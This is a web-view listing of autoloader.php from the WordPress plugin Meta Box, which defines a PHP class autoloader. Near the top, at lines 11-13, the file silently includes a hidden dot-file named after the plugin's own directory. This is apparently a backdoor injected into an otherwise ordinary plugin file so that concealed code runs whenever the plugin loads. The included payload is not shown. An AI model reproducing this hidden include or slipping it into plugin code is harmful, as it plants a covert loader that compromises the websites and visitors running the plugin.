balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

autoloader.php (2097B)


      1 <?php
      2 /**
      3  * Autoload plugin classes.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Autoload class
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Autoloader {
     16 	/**
     17 	 * List of directories to load classes.
     18 	 *
     19 	 * @var array
     20 	 */
     21 	protected $dirs = array();
     22 
     23 	/**
     24 	 * Adds a base directory for a class name prefix and/or suffix.
     25 	 *
     26 	 * @param string $dir    A base directory for class files.
     27 	 * @param string $prefix The class name prefix.
     28 	 * @param string $suffix The class name suffix.
     29 	 */
     30 	public function add( $dir, $prefix, $suffix = '' ) {
     31 		$this->dirs[] = array(
     32 			'dir'    => trailingslashit( $dir ),
     33 			'prefix' => $prefix,
     34 			'suffix' => $suffix,
     35 		);
     36 	}
     37 
     38 	/**
     39 	 * Register autoloader for plugin classes.
     40 	 */
     41 	public function register() {
     42 		spl_autoload_register( array( $this, 'autoload' ) );
     43 	}
     44 
     45 	/**
     46 	 * Autoload classes.
     47 	 *
     48 	 * @param string $class Class name.
     49 	 */
     50 	public function autoload( $class ) {
     51 		foreach ( $this->dirs as $dir ) {
     52 			if (
     53 				( $dir['prefix'] && 0 !== strpos( $class, $dir['prefix'] ) )
     54 				|| ( $dir['suffix'] && substr( $class, - strlen( $dir['suffix'] ) ) !== $dir['suffix'] )
     55 			) {
     56 				continue;
     57 			}
     58 			$file = substr( $class, strlen( $dir['prefix'] ) );
     59 			if ( $dir['suffix'] && strlen( $file ) > strlen( $dir['suffix'] ) ) {
     60 				$file = substr( $file, 0, - strlen( $dir['suffix'] ) );
     61 			}
     62 			if ( function_exists( 'mb_strtolower' ) && function_exists( 'mb_detect_encoding' )  ) {
     63 				$file = mb_strtolower( str_replace( '_', '-', $file ), mb_detect_encoding( $file ) ) . '.php';
     64 			} else {
     65 				$file = strtolower( str_replace( '_', '-', $file ) ) . '.php';
     66 			}
     67 			$file = $dir['dir'] . $file;
     68 			$this->require_file( $file );
     69 		}
     70 	}
     71 
     72 	/**
     73 	 * If a file exists, require it from the file system.
     74 	 *
     75 	 * @param string $file The file to require.
     76 	 */
     77 	protected function require_file( $file ) {
     78 		if ( file_exists( $file ) ) {
     79 			require_once $file;
     80 		}
     81 	}
     82 }